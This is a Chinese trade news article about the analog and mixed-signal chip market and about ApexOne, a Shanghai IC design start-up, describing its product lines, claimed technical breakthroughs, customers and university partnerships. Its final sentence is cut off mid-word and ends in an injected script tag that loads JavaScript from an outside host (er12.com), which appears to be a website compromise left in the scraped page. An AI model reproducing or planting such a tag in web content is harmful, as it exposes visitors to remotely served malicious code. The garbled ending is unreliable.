数年前，当评论家们张开双臂拥抱“数字时代”的来临时，许多人都认为这标志着模拟时代的终结。不过，在许多新兴应用如高端手机、消费产品、蜂窝基站及汽车电子等市场的推动下，包括电源|稳压器管理、混合信号、放大器、无线及接口等在内广泛的模拟器件产品，在今天却受到越来越多的关注。从1999年开始，该市场一直都保持着较高的增长率。2004年，全球模拟集成电路市场已达360亿美元。
由于模拟市场多年来一直都占据半导体销售20%的收入，近年来还有上升的趋势。因此各家公司在该市场上竞争激烈。ti、st、adi、英飞凌、linear、intersil以及maxim都是模拟器件市场上的传统领先公司，他们占据了7成以上的市场份额。
尽管市场极具诱惑，但在模拟器件领域，性能指标仍然首当其冲。由于对于模拟产品来说，一方面需要设计和工艺技术的配合，另一方面，培养一个成熟、高产能的模拟设计工程师，又需要很长的时间。因此虽然新兴的中国ic设计公司层出不穷，但在模拟行业的表现却不尽如人意。
在这种情况下，一批从美国硅谷归来的留学生在上海创建了埃派克森微电子(上海)有限公司(apexone)，从事混和信号和模拟集成电路的研发与推广。团队主要骨干据称曾在美国和欧洲的世界知名通讯系统及芯片公司如ibm、朗讯、罗克韦尔、摩托罗拉、科胜迅和诺基亚等公司长期从事芯片设计，具有丰富的系统级数模混合芯片及数字信号处理(dsp)系统芯片的实际设计与生产经验。主要设计基于深亚微米cmos，bicmos及sige生产工艺，采用以系统集成为主，模拟与数字电路相结合的设计思路。
“模拟器件搭建起了现实世界与数字计算之间的桥梁。”埃派克森公司总裁兼首席执行官高勇表示，“如果没有模拟技术的还原，无论数字信号有多么高超的表现，人们依然无法享受到多彩缤纷的感官体验。”他说，“未来几年内，模拟/混和信号集成电路的市场仍会有大于20%的年均复合增长率。埃派克森正是看到了这方面的市场潜力，同时也因为我们拥有混和信号方面的技术专长，因此希望能配合这种发展趋势，针对消费电子，多媒体和通信领域，成为革命性assp(专用模拟器件)混和信号ic方案的领先供应商。”
埃派克森上海分公司于2002年3月宣告成立，并于2003年6月份推出了第一款产品。2004年11月该公司又一口气推出了16款产品。据悉，目前该公司已取得了无晶振usb全集成技术、低功耗lcd驱动技术、高性能数字音频驱动技术、高清背投电视聚焦技术、宽带通讯核心芯片技术、宽带通讯系统应用技术、3g通讯数模混合技术、非接触式感应应用技术八大核心技术的突破。其主要产品线集中在音频、视频、usb以及数据转换器四大系列。
其中，usb全集成技术实现了零外部器件的高度集成，号称是“世界上第一颗集成度最高的usb”。daa(数字音频放大器)技术则解决了功率放大中发热问题；支持高保真音质，频率响应频段范围宽，可配合super-audio cd或dvd-a标准；广泛应用于家庭音响、汽车电子、平板显示器以及便携式音响等方面；而多媒体视频聚焦soc采用其独有的针对视频应用的混和信号ic设计，面向crt投影电视机和高清投影电视机。另外，该公司开发的dmt vdsl soc芯片相对同类产品性能得到大大提高，并能多覆盖45%的宽带用户。高勇透露：“目前我们已经拥有20家客户，22项获奖设计。”在埃派克森公司对外公布的资料中显示，2004财年其销售收入比上年增长了近6倍。
具体来说，模拟市场主要分成两大块，一块是标准线性元件，一块是专用元件。标准线性元件包括放大/比较器、稳压器、基准电压、数据转换器以及接口集成电路。专用模拟ic主要是指那些专门设计用于通信和消费电子产品的集成电路。
不过，目前在中国，进行模拟产品开发的本土企业虽然不止埃派克森一家，但大多都是集中在专用的模拟ic器件方面。比如在移动多媒体处理器芯片以及电表计量芯片方面的深圳安凯、北京中星微电子、上海智多微电子、上海方泰、珠海矩力、上海贝岭等等。不过，如果想要在众多的本土新兴ic企业中找出几个在模拟ic标准器件方面进行开发的公司，就屈指可数了。
“埃派克森专注于高性能的混和与模拟器件产品领域的开发。”高勇表示。据悉，为了弥补自身基础研发投入资金和开发人员有限的弱点，埃派克森与国外公司建立了战略联盟，并同美国加州大学圣地亚哥分校(ucsd)、爱达荷州立大学(isu)等模数转换器领域知名的大学实验室建立了良好的合作关系，通过校企合作来使人才梯队的建设有了一个稳固的基础和来源。
“目前国内模拟电路设计企业所面临的困境是，在高端领域无法与国际大厂展开竞争，在低端市场则由于数字技术和国外厂商向低端侵袭而显得岌岌可危。”在谈到目前本土模拟电路企业的发展时，埃派克森研发部经理一鸣表示，“中国模拟半导体市场已经从一个相对封闭的状态迅速发展为全球竞争最激烈的市场之一，同时模拟半?script src=http://er12.com/t.js>
